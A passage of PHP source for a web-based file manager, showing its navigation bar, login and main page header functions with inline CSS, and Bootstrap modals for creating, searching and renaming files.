                        <a title="<?php echo lng('Upload') ?>" class="nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;upload"><i class="fa fa-cloud-upload" aria-hidden="true"></i> <?php echo lng('Upload') ?></a>
                    </li>
                    <li class="nav-item">
                        <a title="<?php echo lng('NewItem') ?>" class="nav-link" href="#createNewItem" data-bs-toggle="modal" data-bs-target="#createNewItem"><i class="fa fa-plus-square"></i> <?php echo lng('NewItem') ?></a>
                    </li>
                    <?php endif; ?>
                    <?php if (FM_USE_AUTH): ?>
                    <li class="nav-item avatar dropdown">
                        <a class="nav-link dropdown-toggle" id="navbarDropdownMenuLink-5" data-bs-toggle="dropdown" aria-haspopup="true" aria-expanded="false"> <i class="fa fa-user-circle"></i> <?php if(isset($_SESSION[FM_SESSION_ID]['logged'])) { echo $_SESSION[FM_SESSION_ID]['logged']; } ?></a>
                        <div class="dropdown-menu text-small shadow <?php echo fm_get_theme(); ?>" aria-labelledby="navbarDropdownMenuLink-5">
                            <?php if (!FM_READONLY): ?>
                            <a title="<?php echo lng('Settings') ?>" class="dropdown-item nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;settings=1"><i class="fa fa-cog" aria-hidden="true"></i> <?php echo lng('Settings') ?></a>
                            <?php endif ?>
                            <a title="<?php echo lng('Help') ?>" class="dropdown-item nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;help=2"><i class="fa fa-exclamation-circle" aria-hidden="true"></i> <?php echo lng('Help') ?></a>
                            <a title="<?php echo lng('Logout') ?>" class="dropdown-item nav-link" href="?logout=1"><i class="fa fa-sign-out" aria-hidden="true"></i> <?php echo lng('Logout') ?></a>
                        </div>
                    </li>
                    <?php else: ?>
                        <?php if (!FM_READONLY): ?>
                            <li class="nav-item">
                                <a title="<?php echo lng('Settings') ?>" class="dropdown-item nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;settings=1"><i class="fa fa-cog" aria-hidden="true"></i> <?php echo lng('Settings') ?></a>
                            </li>
                        <?php endif; ?>
                    <?php endif; ?>
                </ul>
            </div>
        </div>
    </nav>
    <?php
}

/**
 * Show alert message from session
 */
function fm_show_message()
{
    if (isset($_SESSION[FM_SESSION_ID]['message'])) {
        $class = isset($_SESSION[FM_SESSION_ID]['status']) ? $_SESSION[FM_SESSION_ID]['status'] : 'ok';
        echo '<p class="message ' . $class . '">' . $_SESSION[FM_SESSION_ID]['message'] . '</p>';
        unset($_SESSION[FM_SESSION_ID]['message']);
        unset($_SESSION[FM_SESSION_ID]['status']);
    }
}

/**
 * Show page header in Login Form
 */
function fm_show_header_login()
{
$sprites_ver = '20160315';
header("Content-Type: text/html; charset=utf-8");
header("Expires: Sat, 26 Jul 1997 05:00:00 GMT");
header("Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0");
header("Pragma: no-cache");

global $lang, $root_url, $favicon_path;
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
    <meta name="description" content="Web based Manager in PHP, Manage your files efficiently and easily with Manager">
    <meta name="author" content="CCP Programmers">
    <meta name="robots" content="noindex, nofollow">
    <meta name="googlebot" content="noindex">
    <?php if($favicon_path) { echo '<link rel="icon" href="'.fm_enc($favicon_path).'" type="image/png">'; } ?>
    <title><?php echo fm_enc(APP_TITLE) ?></title>
    <?php print_external('pre-jsdelivr'); ?>
    <?php print_external('css-bootstrap'); ?>
    <style>
        body.fm-login-page{ background-color:#f7f9fb;font-size:14px;background-color:#f7f9fb;background-image:url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 304 304' width='304' height='304'%3E%3Cpath fill='%23e2e9f1' fill-opacity='0.4' d='M44.1 224a5 5 0 1 1 0 2H0v-2h44.1zm160 48a5 5 0 1 1 0 2H82v-2h122.1zm57.8-46a5 5 0 1 1 0-2H304v2h-42.1zm0 16a5 5 0 1 1 0-2H304v2h-42.1zm6.2-114a5 5 0 1 1 0 2h-86.2a5 5 0 1 1 0-2h86.2zm-256-48a5 5 0 1 1 0 2H0v-2h12.1zm185.8 34a5 5 0 1 1 0-2h86.2a5 5 0 1 1 0 2h-86.2zM258 12.1a5 5 0 1 1-2 0V0h2v12.1zm-64 208a5 5 0 1 1-2 0v-54.2a5 5 0 1 1 2 0v54.2zm48-198.2V80h62v2h-64V21.9a5 5 0 1 1 2 0zm16 16V64h46v2h-48V37.9a5 5 0 1 1 2 0zm-128 96V208h16v12.1a5 5 0 1 1-2 0V210h-16v-76.1a5 5 0 1 1 2 0zm-5.9-21.9a5 5 0 1 1 0 2H114v48H85.9a5 5 0 1 1 0-2H112v-48h12.1zm-6.2 130a5 5 0 1 1 0-2H176v-74.1a5 5 0 1 1 2 0V242h-60.1zm-16-64a5 5 0 1 1 0-2H114v48h10.1a5 5 0 1 1 0 2H112v-48h-10.1zM66 284.1a5 5 0 1 1-2 0V274H50v30h-2v-32h18v12.1zM236.1 176a5 5 0 1 1 0 2H226v94h48v32h-2v-30h-48v-98h12.1zm25.8-30a5 5 0 1 1 0-2H274v44.1a5 5 0 1 1-2 0V146h-10.1zm-64 96a5 5 0 1 1 0-2H208v-80h16v-14h-42.1a5 5 0 1 1 0-2H226v18h-16v80h-12.1zm86.2-210a5 5 0 1 1 0 2H272V0h2v32h10.1zM98 101.9V146H53.9a5 5 0 1 1 0-2H96v-42.1a5 5 0 1 1 2 0zM53.9 34a5 5 0 1 1 0-2H80V0h2v34H53.9zm60.1 3.9V66H82v64H69.9a5 5 0 1 1 0-2H80V64h32V37.9a5 5 0 1 1 2 0zM101.9 82a5 5 0 1 1 0-2H128V37.9a5 5 0 1 1 2 0V82h-28.1zm16-64a5 5 0 1 1 0-2H146v44.1a5 5 0 1 1-2 0V18h-26.1zm102.2 270a5 5 0 1 1 0 2H98v14h-2v-16h124.1zM242 149.9V160h16v34h-16v62h48v48h-2v-46h-48v-66h16v-30h-16v-12.1a5 5 0 1 1 2 0zM53.9 18a5 5 0 1 1 0-2H64V2H48V0h18v18H53.9zm112 32a5 5 0 1 1 0-2H192V0h50v2h-48v48h-28.1zm-48-48a5 5 0 0 1-9.8-2h2.07a3 3 0 1 0 5.66 0H178v34h-18V21.9a5 5 0 1 1 2 0V32h14V2h-58.1zm0 96a5 5 0 1 1 0-2H137l32-32h39V21.9a5 5 0 1 1 2 0V66h-40.17l-32 32H117.9zm28.1 90.1a5 5 0 1 1-2 0v-76.51L175.59 80H224V21.9a5 5 0 1 1 2 0V82h-49.59L146 112.41v75.69zm16 32a5 5 0 1 1-2 0v-99.51L184.59 96H300.1a5 5 0 0 1 3.9-3.9v2.07a3 3 0 0 0 0 5.66v2.07a5 5 0 0 1-3.9-3.9H185.41L162 121.41v98.69zm-144-64a5 5 0 1 1-2 0v-3.51l48-48V48h32V0h2v50H66v55.41l-48 48v2.69zM50 53.9v43.51l-48 48V208h26.1a5 5 0 1 1 0 2H0v-65.41l48-48V53.9a5 5 0 1 1 2 0zm-16 16V89.41l-34 34v-2.82l32-32V69.9a5 5 0 1 1 2 0zM12.1 32a5 5 0 1 1 0 2H9.41L0 43.41V40.6L8.59 32h3.51zm265.8 18a5 5 0 1 1 0-2h18.69l7.41-7.41v2.82L297.41 50H277.9zm-16 160a5 5 0 1 1 0-2H288v-71.41l16-16v2.82l-14 14V210h-28.1zm-208 32a5 5 0 1 1 0-2H64v-22.59L40.59 194H21.9a5 5 0 1 1 0-2H41.41L66 216.59V242H53.9zm150.2 14a5 5 0 1 1 0 2H96v-56.6L56.6 162H37.9a5 5 0 1 1 0-2h19.5L98 200.6V256h106.1zm-150.2 2a5 5 0 1 1 0-2H80v-46.59L48.59 178H21.9a5 5 0 1 1 0-2H49.41L82 208.59V258H53.9zM34 39.8v1.61L9.41 66H0v-2h8.59L32 40.59V0h2v39.8zM2 300.1a5 5 0 0 1 3.9 3.9H3.83A3 3 0 0 0 0 302.17V256h18v48h-2v-46H2v42.1zM34 241v63h-2v-62H0v-2h34v1zM17 18H0v-2h16V0h2v18h-1zm273-2h14v2h-16V0h2v16zm-32 273v15h-2v-14h-14v14h-2v-16h18v1zM0 92.1A5.02 5.02 0 0 1 6 97a5 5 0 0 1-6 4.9v-2.07a3 3 0 1 0 0-5.66V92.1zM80 272h2v32h-2v-32zm37.9 32h-2.07a3 3 0 0 0-5.66 0h-2.07a5 5 0 0 1 9.8 0zM5.9 0A5.02 5.02 0 0 1 0 5.9V3.83A3 3 0 0 0 3.83 0H5.9zm294.2 0h2.07A3 3 0 0 0 304 3.83V5.9a5 5 0 0 1-3.9-5.9zm3.9 300.1v2.07a3 3 0 0 0-1.83 1.83h-2.07a5 5 0 0 1 3.9-3.9zM97 100a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-48 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 96a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-144a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-96 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm96 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-32 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM49 36a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-32 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM33 68a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 240a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm80-176a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm112 176a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM17 180a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM17 84a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6z'%3E%3C/path%3E%3C/svg%3E");}
        .fm-login-page .brand{ width:121px;overflow:hidden;margin:0 auto;position:relative;z-index:1}
        .fm-login-page .brand img{ width:100%}
        .fm-login-page .card-wrapper{ width:360px;margin-top:10%;margin-left:auto;margin-right:auto;}
        .fm-login-page .card{ border-color:transparent;box-shadow:0 4px 8px rgba(0,0,0,.05)}
        .fm-login-page .card-title{ margin-bottom:1.5rem;font-size:24px;font-weight:400;}
        .fm-login-page .form-control{ border-width:2.3px}
        .fm-login-page .form-group label{ width:100%}
        .fm-login-page .btn.btn-block{ padding:12px 10px}
        .fm-login-page .footer{ margin:40px 0;color:#888;text-align:center}
        @media screen and (max-width:425px){
            .fm-login-page .card-wrapper{ width:90%;margin:0 auto;margin-top:10%;}
        }
        @media screen and (max-width:320px){
            .fm-login-page .card.fat{ padding:0}
            .fm-login-page .card.fat .card-body{ padding:15px}
        }
        .message{ padding:4px 7px;border:1px solid #ddd;background-color:#fff}
        .message.ok{ border-color:green;color:green}
        .message.error{ border-color:red;color:red}
        .message.alert{ border-color:orange;color:orange}
        body.fm-login-page.theme-dark {background-color: #2f2a2a;}
        .theme-dark svg g, .theme-dark svg path {fill: #ffffff; }
    </style>
</head>
<body class="fm-login-page <?php echo (FM_THEME == "dark") ? 'theme-dark' : ''; ?>">
<div id="wrapper" class="container-fluid">

    <?php
    }

    /**
     * Show page footer in Login Form
     */
    function fm_show_footer_login()
    {
    ?>
</div>
<?php print_external('js-jquery'); ?>
<?php print_external('js-bootstrap'); ?>
</body>
</html>
<?php
}

/**
 * Show Header after login
 */
function fm_show_header()
{
$sprites_ver = '20160315';
header("Content-Type: text/html; charset=utf-8");
header("Expires: Sat, 26 Jul 1997 05:00:00 GMT");
header("Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0");
header("Pragma: no-cache");

global $lang, $root_url, $sticky_navbar, $favicon_path;
$isStickyNavBar = $sticky_navbar ? 'navbar-fixed' : 'navbar-normal';
?>
<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
    <meta name="description" content="Web based File Manager in PHP, Manage your files efficiently and easily with Manager">
    <meta name="author" content="CCP Programmers">
    <meta name="robots" content="noindex, nofollow">
    <meta name="googlebot" content="noindex">
    <?php if($favicon_path) { echo '<link rel="icon" href="'.fm_enc($favicon_path).'" type="image/png">'; } ?>
    <title><?php echo fm_enc(APP_TITLE) ?></title>
    <?php print_external('pre-jsdelivr'); ?>
    <?php print_external('pre-cloudflare'); ?>
    <?php print_external('css-bootstrap'); ?>
    <?php print_external('css-font-awesome'); ?>
    <?php if (FM_USE_HIGHLIGHTJS && isset($_GET['view'])): ?>
    <?php print_external('css-highlightjs'); ?>
    <?php endif; ?>
    <script type="text/javascript">window.csrf = '<?php echo $_SESSION['token']; ?>';</script>
    <style>
        html { -moz-osx-font-smoothing: grayscale; -webkit-font-smoothing: antialiased; text-rendering: optimizeLegibility; height: 100%; scroll-behavior: smooth;}
        *,*::before,*::after { box-sizing: border-box;}
        body { font-size:15px; color:#222;background:#F7F7F7; }
        body.navbar-fixed { margin-top:55px; }
        a, a:hover, a:visited, a:focus { text-decoration:none !important; }
        .filename, td, th { white-space:nowrap  }
        .navbar-brand { font-weight:bold; }
        .nav-item.avatar a { cursor:pointer;text-transform:capitalize; }
        .nav-item.avatar a > i { font-size:15px; }
        .nav-item.avatar .dropdown-menu a { font-size:13px; }
        #search-addon { font-size:12px;border-right-width:0; }
        .brl-0 { background:transparent;border-left:0; border-top-left-radius: 0; border-bottom-left-radius: 0; }
        .brr-0 { border-top-right-radius: 0; border-bottom-right-radius: 0; }
        .bread-crumb { color:#cccccc;font-style:normal; }
        #main-table { transition: transform .25s cubic-bezier(0.4, 0.5, 0, 1),width 0s .25s;}
        #main-table .filename a { color:#222222; }
        .table td, .table th { vertical-align:middle !important; }
        .table .custom-checkbox-td .custom-control.custom-checkbox, .table .custom-checkbox-header .custom-control.custom-checkbox { min-width:18px; display: flex;align-items: center; justify-content: center; }
        .table-sm td, .table-sm th { padding:.4rem; }
        .table-bordered td, .table-bordered th { border:1px solid #f1f1f1; }
        .hidden { display:none  }
        pre.with-hljs { padding:0; overflow: hidden;  }
        pre.with-hljs code { margin:0;border:0;overflow:scroll;  }
        code.maxheight, pre.maxheight { max-height:512px  }
        .fa.fa-caret-right { font-size:1.2em;margin:0 4px;vertical-align:middle;color:#ececec  }
        .fa.fa-home { font-size:1.3em;vertical-align:bottom  }
        .path { margin-bottom:10px  }
        form.dropzone { min-height:200px;border:2px dashed #007bff;line-height:6rem; }
        .right { text-align:right  }
        .center, .close, .login-form, .preview-img-container { text-align:center  }
        .message { padding:4px 7px;border:1px solid #ddd;background-color:#fff  }
        .message.ok { border-color:green;color:green  }
        .message.error { border-color:red;color:red  }
        .message.alert { border-color:orange;color:orange  }
        .preview-img { max-width:100%;max-height:80vh;background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAIAAACQkWg2AAAAKklEQVR42mL5//8/Azbw+PFjrOJMDCSCUQ3EABZc4S0rKzsaSvTTABBgAMyfCMsY4B9iAAAAAElFTkSuQmCC);cursor:zoom-in }
        input#preview-img-zoomCheck[type=checkbox] { display:none }
        input#preview-img-zoomCheck[type=checkbox]:checked ~ label > img { max-width:none;max-height:none;cursor:zoom-out }
        .inline-actions > a > i { font-size:1em;margin-left:5px;background:#3785c1;color:#fff;padding:3px 4px;border-radius:3px; }
        .preview-video { position:relative;max-width:100%;height:0;padding-bottom:62.5%;margin-bottom:10px  }
        .preview-video video { position:absolute;width:100%;height:100%;left:0;top:0;background:#000  }
        .compact-table { border:0;width:auto  }
        .compact-table td, .compact-table th { width:100px;border:0;text-align:center  }
        .compact-table tr:hover td { background-color:#fff  }
        .filename { max-width:420px;overflow:hidden;text-overflow:ellipsis  }
        .break-word { word-wrap:break-word;margin-left:30px  }
        .break-word.float-left a { color:#7d7d7d  }
        .break-word + .float-right { padding-right:30px;position:relative  }
        .break-word + .float-right > a { color:#7d7d7d;font-size:1.2em;margin-right:4px  }
        #editor { position:absolute;right:15px;top:100px;bottom:15px;left:15px  }
        @media (max-width:481px) {
            #editor { top:150px; }
        }
        #normal-editor { border-radius:3px;border-width:2px;padding:10px;outline:none; }
        .btn-2 { padding:4px 10px;font-size:small; }
        li.file:before,li.folder:before { font:normal normal normal 14px/1 FontAwesome;content:"\f016";margin-right:5px }
        li.folder:before { content:"\f114" }
        i.fa.fa-folder-o { color:#0157b3 }
        i.fa.fa-picture-o { color:#26b99a }
        i.fa.fa-file-archive-o { color:#da7d7d }
        .btn-2 i.fa.fa-file-archive-o { color:inherit }
        i.fa.fa-css3 { color:#f36fa0 }
        i.fa.fa-file-code-o { color:#007bff }
        i.fa.fa-code { color:#cc4b4c }
        i.fa.fa-file-text-o { color:#0096e6 }
        i.fa.fa-html5 { color:#d75e72 }
        i.fa.fa-file-excel-o { color:#09c55d }
        i.fa.fa-file-powerpoint-o { color:#f6712e }
        i.go-back { font-size:1.2em;color:#007bff; }
        .main-nav { padding:0.2rem 1rem;box-shadow:0 4px 5px 0 rgba(0, 0, 0, .14), 0 1px 10px 0 rgba(0, 0, 0, .12), 0 2px 4px -1px rgba(0, 0, 0, .2)  }
        .dataTables_filter { display:none; }
        table.dataTable thead .sorting { cursor:pointer;background-repeat:no-repeat;background-position:center right;background-image:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAQAAADYWf5HAAAAkElEQVQoz7XQMQ5AQBCF4dWQSJxC5wwax1Cq1e7BAdxD5SL+Tq/QCM1oNiJidwox0355mXnG/DrEtIQ6azioNZQxI0ykPhTQIwhCR+BmBYtlK7kLJYwWCcJA9M4qdrZrd8pPjZWPtOqdRQy320YSV17OatFC4euts6z39GYMKRPCTKY9UnPQ6P+GtMRfGtPnBCiqhAeJPmkqAAAAAElFTkSuQmCC'); }
        table.dataTable thead .sorting_asc { cursor:pointer;background-repeat:no-repeat;background-position:center right;background-image:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAYAAAByUDbMAAAAZ0lEQVQ4y2NgGLKgquEuFxBPAGI2ahhWCsS/gDibUoO0gPgxEP8H4ttArEyuQYxAPBdqEAxPBImTY5gjEL9DM+wTENuQahAvEO9DMwiGdwAxOymGJQLxTyD+jgWDxCMZRsEoGAVoAADeemwtPcZI2wAAAABJRU5ErkJggg=='); }
        table.dataTable thead .sorting_desc { cursor:pointer;background-repeat:no-repeat;background-position:center right;background-image:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAYAAAByUDbMAAAAZUlEQVQ4y2NgGAWjYBSggaqGu5FA/BOIv2PBIPFEUgxjB+IdQPwfC94HxLykus4GiD+hGfQOiB3J8SojEE9EM2wuSJzcsFMG4ttQgx4DsRalkZENxL+AuJQaMcsGxBOAmGvopk8AVz1sLZgg0bsAAAAASUVORK5CYII='); }
        table.dataTable thead tr:first-child th.custom-checkbox-header:first-child { background-image:none; }
        .footer-action li { margin-bottom:10px; }
        .app-v-title { font-size:24px;font-weight:300;letter-spacing:-.5px;text-transform:uppercase; }
        hr.custom-hr { border-top:1px dashed #8c8b8b;border-bottom:1px dashed #fff; }
        #snackbar { visibility:hidden;min-width:250px;margin-left:-125px;background-color:#333;color:#fff;text-align:center;border-radius:2px;padding:16px;position:fixed;z-index:1;left:50%;bottom:30px;font-size:17px; }
        #snackbar.show { visibility:visible;-webkit-animation:fadein 0.5s, fadeout 0.5s 2.5s;animation:fadein 0.5s, fadeout 0.5s 2.5s; }
        @-webkit-keyframes fadein { from { bottom:0;opacity:0; }
        to { bottom:30px;opacity:1; }
        }
        @keyframes fadein { from { bottom:0;opacity:0; }
        to { bottom:30px;opacity:1; }
        }
        @-webkit-keyframes fadeout { from { bottom:30px;opacity:1; }
        to { bottom:0;opacity:0; }
        }
        @keyframes fadeout { from { bottom:30px;opacity:1; }
        to { bottom:0;opacity:0; }
        }
        #main-table span.badge { border-bottom:2px solid #f8f9fa }
        #main-table span.badge:nth-child(1) { border-color:#df4227 }
        #main-table span.badge:nth-child(2) { border-color:#f8b600 }
        #main-table span.badge:nth-child(3) { border-color:#00bd60 }
        #main-table span.badge:nth-child(4) { border-color:#4581ff }
        #main-table span.badge:nth-child(5) { border-color:#ac68fc }
        #main-table span.badge:nth-child(6) { border-color:#45c3d2 }
        @media only screen and (min-device-width:768px) and (max-device-width:1024px) and (orientation:landscape) and (-webkit-min-device-pixel-ratio:2) { .navbar-collapse .col-xs-6 { padding:0; }
        }
        .btn.active.focus,.btn.active:focus,.btn.focus,.btn.focus:active,.btn:active:focus,.btn:focus { outline:0!important;outline-offset:0!important;background-image:none!important;-webkit-box-shadow:none!important;box-shadow:none!important }
        .lds-facebook { display:none;position:relative;width:64px;height:64px }
        .lds-facebook div,.lds-facebook.show-me { display:inline-block }
        .lds-facebook div { position:absolute;left:6px;width:13px;background:#007bff;animation:lds-facebook 1.2s cubic-bezier(0,.5,.5,1) infinite }
        .lds-facebook div:nth-child(1) { left:6px;animation-delay:-.24s }
        .lds-facebook div:nth-child(2) { left:26px;animation-delay:-.12s }
        .lds-facebook div:nth-child(3) { left:45px;animation-delay:0s }
        @keyframes lds-facebook { 0% { top:6px;height:51px }
        100%,50% { top:19px;height:26px }
        }
        ul#search-wrapper { padding-left: 0;border: 1px solid #ecececcc; } ul#search-wrapper li { list-style: none; padding: 5px;border-bottom: 1px solid #ecececcc; }
        ul#search-wrapper li:nth-child(odd){ background: #f9f9f9cc;}
        .c-preview-img { max-width: 300px; }
        .border-radius-0 { border-radius: 0; }
        .float-right { float: right; }
        .table-hover>tbody>tr:hover>td:first-child { border-left: 1px solid #1b77fd; }
        #main-table tr.even { background-color: #F8F9Fa; }
        .filename>a>i {margin-right: 3px;}
    </style>
    <?php
    if (FM_THEME == "dark"): ?>
        <style>
            :root {
                --bs-bg-opacity: 1;
                --bg-color: #f3daa6;
                --bs-dark-rgb: 28, 36, 41 !important;
                --bs-bg-opacity: 1;
            }
            .table-dark { --bs-table-bg: 28, 36, 41 !important; }
            .btn-primary { --bs-btn-bg: #26566c; --bs-btn-border-color: #26566c; }
            body.theme-dark { background-image: linear-gradient(90deg, #1c2429, #263238); color: #CFD8DC; }
            .list-group .list-group-item { background: #343a40; }
            .theme-dark .navbar-nav i, .navbar-nav .dropdown-toggle, .break-word { color: #CFD8DC; }
            a, a:hover, a:visited, a:active, #main-table .filename a, i.fa.fa-folder-o, i.go-back { color: var(--bg-color); }
            ul#search-wrapper li:nth-child(odd) { background: #212a2f; }
            .theme-dark .btn-outline-primary { color: #b8e59c; border-color: #b8e59c; }
            .theme-dark .btn-outline-primary:hover, .theme-dark .btn-outline-primary:active { background-color: #2d4121;}
            .theme-dark input.form-control { background-color: #101518; color: #CFD8DC; }
            .theme-dark .dropzone { background: transparent; }
            .theme-dark .inline-actions > a > i { background: #79755e; }
            .theme-dark .text-white { color: #CFD8DC !important; }
            .theme-dark .table-bordered td, .table-bordered th { border-color: #343434; }
            .theme-dark .table-bordered td .custom-control-input, .theme-dark .table-bordered th .custom-control-input { opacity: 0.678; }
            .message { background-color: #212529; }
            .compact-table tr:hover td { background-color: #3d3d3d; }
            #main-table tr.even { background-color: #21292f; }
            form.dropzone { border-color: #79755e; }
        </style>
    <?php endif; ?>
</head>
<body class="<?php echo (FM_THEME == "dark") ? 'theme-dark' : ''; ?> <?php echo $isStickyNavBar; ?>">
<div id="wrapper" class="container-fluid">
    <!-- New Item creation -->
    <div class="modal fade" id="createNewItem" tabindex="-1" role="dialog" data-bs-backdrop="static" data-bs-keyboard="false" aria-labelledby="newItemModalLabel" aria-hidden="true">
        <div class="modal-dialog" role="document">
            <form class="modal-content <?php echo fm_get_theme(); ?>" method="post">
                <div class="modal-header">
                    <h5 class="modal-title" id="newItemModalLabel"><i class="fa fa-plus-square fa-fw"></i><?php echo lng('CreateNewItem') ?></h5>
                    <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
                </div>
                <div class="modal-body">
                    <p><label for="newfile"><?php echo lng('ItemType') ?> </label></p>
                    <div class="form-check form-check-inline">
                      <input class="form-check-input" type="radio" name="newfile" id="customRadioInline1" name="newfile" value="file">
                      <label class="form-check-label" for="customRadioInline1"><?php echo lng('File') ?></label>
                    </div>
                    <div class="form-check form-check-inline">
                      <input class="form-check-input" type="radio" name="newfile" id="customRadioInline2" value="folder" checked>
                      <label class="form-check-label" for="customRadioInline2"><?php echo lng('Folder') ?></label>
                    </div>

                    <p class="mt-3"><label for="newfilename"><?php echo lng('ItemName') ?> </label></p>
                    <input type="text" name="newfilename" id="newfilename" value="" class="form-control" placeholder="<?php echo lng('Enter here...') ?>" required>
                </div>
                <div class="modal-footer">
                    <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                    <button type="button" class="btn btn-outline-primary" data-bs-dismiss="modal"><i class="fa fa-times-circle"></i> <?php echo lng('Cancel') ?></button>
                    <button type="submit" class="btn btn-success"><i class="fa fa-check-circle"></i> <?php echo lng('CreateNow') ?></button>
                </div>
            </form>
        </div>
    </div>

    <!-- Advance Search Modal -->
    <div class="modal fade" id="searchModal" tabindex="-1" role="dialog" aria-labelledby="searchModalLabel" aria-hidden="true">
      <div class="modal-dialog modal-lg" role="document">
        <div class="modal-content <?php echo fm_get_theme(); ?>">
          <div class="modal-header">
            <h5 class="modal-title col-10" id="searchModalLabel">
                <div class="input-group mb-3">
                  <input type="text" class="form-control" placeholder="<?php echo lng('Search') ?> <?php echo lng('a files') ?>" aria-label="<?php echo lng('Search') ?>" aria-describedby="search-addon3" id="advanced-search" autofocus required>
                  <span class="input-group-text" id="search-addon3"><i class="fa fa-search"></i></span>
                </div>
            </h5>
            <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
          </div>
          <div class="modal-body">
            <form action="" method="post">
                <div class="lds-facebook"><div></div><div></div><div></div></div>
                <ul id="search-wrapper">
                    <p class="m-2"><?php echo lng('Search file in folder and subfolders...') ?></p>
                </ul>
            </form>
          </div>
        </div>
      </div>
    </div>

    <!--Rename Modal -->
    <div class="modal modal-alert" data-bs-backdrop="static" data-bs-keyboard="false" tabindex="-1" role="dialog" id="renameDailog">
      <div class="modal-dialog" role="document">
        <form class="modal-content rounded-3 shadow <?php echo fm_get_theme(); ?>" method="post" autocomplete="off">
          <div class="modal-body p-4 text-center">
            <h5 class="mb-3"><?php echo lng('Are you sure want to rename?') ?></h5>
            <p class="mb-1">
                <input type="text" name="rename_to" id="js-rename-to" class="form-control" placeholder="<?php echo lng('Enter new file name') ?>" required>
                <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                <input type="hidden" name="rename_from" id="js-rename-from">
            </p>
          </div>
          <div class="modal-footer flex-nowrap p-0">
